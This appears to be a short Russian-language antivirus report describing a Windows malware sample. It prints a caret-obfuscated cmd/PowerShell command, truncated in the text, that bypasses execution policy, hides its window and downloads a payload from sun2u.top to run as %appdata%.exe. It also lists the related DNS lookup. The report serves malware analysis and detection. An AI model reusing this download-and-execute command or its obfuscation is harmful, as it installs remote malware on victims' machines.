Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://sun2u.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "po^wEr^S^hel^L^.ExE -eXE^cUt^Io^n^P^o^Li^cY By^Pa^S^S -NO^P^Ro^FIL^e^ -w^iN^dO^WSTYLE HIDDe^N (n^EW-^OBject syStem^.ne^t.wEb^c^li^enT)^.do^W^N^LO^a^dfiL^e(^'http://sun2u.top/searc...
Сетевая активность
UDP
- DNS ASK su##u.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "po^wEr^S^hel^L^.ExE -eXE^cUt^Io^n^P^o^Li^cY By^Pa^S^S -NO^P^Ro^FIL^e^ -w^iN^dO^WSTYLE HIDDe^N (n^EW-^OBject syStem^.ne^t.wEb^c^li^enT)^.do^W^N^LO^a^dfiL^e(^'http://sun2u.top/searc...' (со скрытым окном)
